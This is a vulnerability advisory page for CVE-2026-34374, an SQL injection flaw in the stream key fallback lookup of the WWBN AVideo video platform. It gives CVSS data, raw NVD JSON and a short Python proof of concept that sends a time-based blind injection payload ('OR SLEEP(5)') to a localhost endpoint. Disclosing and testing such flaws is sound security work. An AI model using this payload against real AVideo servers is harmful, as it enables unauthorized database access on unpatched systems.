Security Vulnerability Report
中文
CVE-2026-34374 CVSS 9.1 CRITICAL

CVE-2026-34374

Published: 2026-03-27 19:16:43
Last Modified: 2026-03-31 18:49:13

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `Live_schedule::keyExists()` method constructs a SQL query by interpolating a stream key directly into the query string without parameterization. This method is called as a fallback from `LiveTransmition::keyExists()` when the initial parameterized lookup returns no results. Although the calling function correctly uses parameterized queries for its own lookup, the fallback path to `Live_schedule::keyExists()` undoes this protection entirely. This vulnerability is distinct from GHSA-pvw4-p2jm-chjm, which covers SQL injection via the `live_schedule_id` parameter in the reminder function. This finding targets the stream key lookup path used during RTMP publish authentication. As of time of publication, no patched versions are available.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-34374 (Conceptual) # The vulnerability lies in the fallback of Live_schedule::keyExists() # when the main LiveTransmition lookup fails. import requests def check_sqli(target_url): # Payload to test time-based blind SQL injection # The stream key is directly interpolated into the SQL query malicious_stream_key = "nonexistent_key' OR SLEEP(5)-- " # Targeting the endpoint that triggers the fallback logic # Note: Actual endpoint path may vary based on AVideo installation payload = { "key": malicious_stream_key, "action": "live_schedule" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, timeout=10) # If response time is > 5 seconds, the SLEEP(5) executed, indicating SQLi if response.elapsed.total_seconds() > 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") else: print("[-] Not vulnerable or payload did not trigger fallback.") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost/AVideo/objects/Live_schedule.json.php" check_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34374", "sourceIdentifier": "[email protected]", "published": "2026-03-27T19:16:42.930", "lastModified": "2026-03-31T18:49:13.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `Live_schedule::keyExists()` method constructs a SQL query by interpolating a stream key directly into the query string without parameterization. This method is called as a fallback from `LiveTransmition::keyExists()` when the initial parameterized lookup returns no results. Although the calling function correctly uses parameterized queries for its own lookup, the fallback path to `Live_schedule::keyExists()` undoes this protection entirely. This vulnerability is distinct from GHSA-pvw4-p2jm-chjm, which covers SQL injection via the `live_schedule_id` parameter in the reminder function. This finding targets the stream key lookup path used during RTMP publish authentication. As of time of publication, no patched versions are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xgv5-66wp-ch88", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}